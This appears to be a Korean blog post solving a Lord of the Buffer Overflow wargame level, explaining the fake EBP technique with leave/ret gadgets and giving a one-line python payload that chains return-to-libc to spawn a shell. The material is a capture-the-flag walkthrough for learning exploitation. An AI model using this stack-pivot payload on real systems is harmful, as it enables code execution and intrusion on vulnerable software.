대놓고 Fake ebp 문제 입니다.
Ret 에 Leave 의 주소값을 넣어 Leave 와 Ret 를 각각 2번씩 실행 시킵니다.
Leave
mov esp, ebp
pop ebp
Ret
pop eip
jmp eip
Leave 와 Ret 는 내부적으로 이런일을 하는데 , Leave 와 Ret 를 2번씩 실행시키므로 eip 가 SFP+4 의 주소를 가리키게 됩니다.
따라 SFP 에 buffer-4 의 주소값을 넣어준다면 최종적으로 eip 가 buffer 의 주소값을 가르키게 되고 그러면 쉘을 실행시킬수 있게 됩니다.
계획을 세워보면
RTL [12 byte ] + dummy [28 byte] + buffer-4 주소[4 byte] + Leave 주소[4byte] 가 됩니다
Leave 주소를 구하면
Leave : 0x080484df
buffer - 4 의 주소를 구하자면 항상 하던데로 소스코드를 수정해서 구합니다.
그럼 buffer 가 0xbffffa90 가 나오므로
buffer -4 : 0xbffffa8c
가 됩니다. 바로 공격해봅시다
./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40"+"ABCD"+"\xf9\xbf\x0f\x40" + "\x90"*28 + "\x8c\xfa\xff\xbf" + "\xdf\x84\x04\x08"'`
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level18] succubus -> nightmare (0) | 2017.05.18 |
---|---|
[Level17] zombie_assassin -> succubus (0) | 2017.05.18 |
[Level15] giant -> assassin (0) | 2017.05.17 |
[Level14] bugbear -> giant (0) | 2017.05.17 |
[Level13] darkknight -> bugbear (0) | 2017.05.17 |